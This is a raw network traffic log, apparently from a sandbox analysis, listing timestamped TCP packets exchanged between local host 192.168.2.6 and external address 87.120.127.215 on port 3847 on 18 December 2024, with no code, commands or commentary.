Dec 18, 2024 19:28:06.679847956 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.680671930 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.680835009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.680891037 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.682128906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.682277918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.682327032 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.683135033 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.683310032 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.683373928 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.684197903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.684341908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.684412956 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.685344934 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.685486078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.685556889 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.686335087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.686503887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.686558962 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.687537909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.687699080 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.687777042 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.688707113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.688882113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.688966036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.689924002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.689970016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.690073013 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.691111088 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.691268921 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.691354990 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.692260981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.692296982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.692356110 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.692820072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.692946911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.692982912 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.693020105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.693032980 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.693064928 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.695584059 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.695724010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.696131945 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.696856976 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.696892977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.697004080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.698009014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.698168039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.698251963 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.699028969 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.699208975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.699259043 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.700210094 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.700521946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.700581074 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.701384068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.701708078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.701759100 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.702591896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.702627897 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.702795029 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.703577042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.703759909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.703825951 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.704777956 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.704932928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.705013990 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.706069946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.706104994 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.706317902 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.706948042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.707118988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.707173109 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.708237886 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.800590038 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.837436914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.837542057 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.837630987 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.838145018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.838185072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.838320017 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.839097023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.839519024 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.839607000 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.839624882 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.840662956 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.840770960 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.840774059 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.841804028 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.841953993 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.841985941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.842921972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.842979908 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.842994928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.844110966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.844214916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.844280005 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.845235109 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.845366955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.845422983 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.846365929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.846493006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.846497059 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.847527027 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.847583055 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.847624063 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.848728895 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.848838091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.848839998 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.849812984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.849950075 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.850017071 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.850950956 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.851003885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.851047993 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.852163076 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.852227926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.852236986 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.853344917 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.853425980 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.853455067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.854748011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.854861975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.854882956 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.855832100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.855983019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.856046915 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.856924057 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.856983900 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.857013941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.857858896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.857928991 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.857966900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.858989954 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.859055042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.859198093 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.860161066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.860352039 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.860364914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.861391068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.861473083 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.861521959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.862586021 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.862694025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.862760067 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.863651037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.863701105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.863734007 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.864696026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.864749908 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.864841938 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.865922928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.866134882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.866275072 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.867101908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.867243052 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.867337942 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.868360996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.868407965 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.868530035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.869507074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.869724035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.869781971 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.870704889 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.870819092 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.870877981 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.871786118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.872054100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.872123957 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.873282909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.873389959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.873445034 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.874234915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.874355078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.874463081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.875221968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.875288963 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.875336885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.876171112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.876339912 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.876410961 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.877304077 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.877362013 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.877424002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.878448963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.878561020 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.878603935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.879637957 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.879770994 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.879770041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.880745888 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.880853891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.880858898 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.881889105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.881947041 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.882014036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.883248091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.883338928 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.883372068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.884531975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.884649038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.884649992 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.885817051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.885868073 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.885987997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.886905909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.886991024 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.887051105 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.888032913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.888086081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.888088942 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.889267921 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.889328003 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.889377117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.890207052 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.890326977 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.890371084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.891494989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.891580105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.891717911 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.893023968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.893241882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.893297911 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.894402027 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.894458055 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.894499063 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.895329952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.895384073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.895389080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.896231890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.896289110 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.896332979 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.897110939 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.897146940 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:06.897223949 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:06.988275051 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.029743910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.029874086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.029975891 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.030216932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.030343056 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.030397892 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.031445026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.031611919 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.032176971 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.032495975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.032634974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.032788038 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.033644915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.033804893 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.034836054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.034923077 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.034972906 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.034972906 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.035932064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.036068916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.037209988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.037300110 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.037415981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.037628889 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.038326979 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.038399935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.039335966 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.039683104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.039735079 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.039832115 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.040615082 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.040770054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.041027069 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.041733980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.041877985 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.042248964 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.042906046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.043020964 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.043334961 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.043943882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.044064045 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.044116974 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.045094967 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.045233965 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.045356989 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.046258926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.046505928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.046964884 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.047380924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.047522068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.047604084 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.048508883 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.048631907 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.048696041 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.049777031 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.049839973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.049968004 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.050925016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.051060915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.051265955 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.052086115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.052123070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.052196026 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.053327084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.053451061 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.053498983 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.054538012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.054620981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.054862976 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.055721998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.055818081 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.055988073 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.056575060 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.056710958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.056905031 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.057837009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.057997942 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.058113098 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.059094906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.059139013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.059226990 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.060250998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.060288906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.060353994 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.061194897 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.061281919 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.061382055 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.062386036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.062421083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.062736034 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.063452005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.063584089 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.063780069 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.064659119 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.064745903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.064901114 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.065776110 CET	3847	49859	87.120.127.215	192.168.2.6
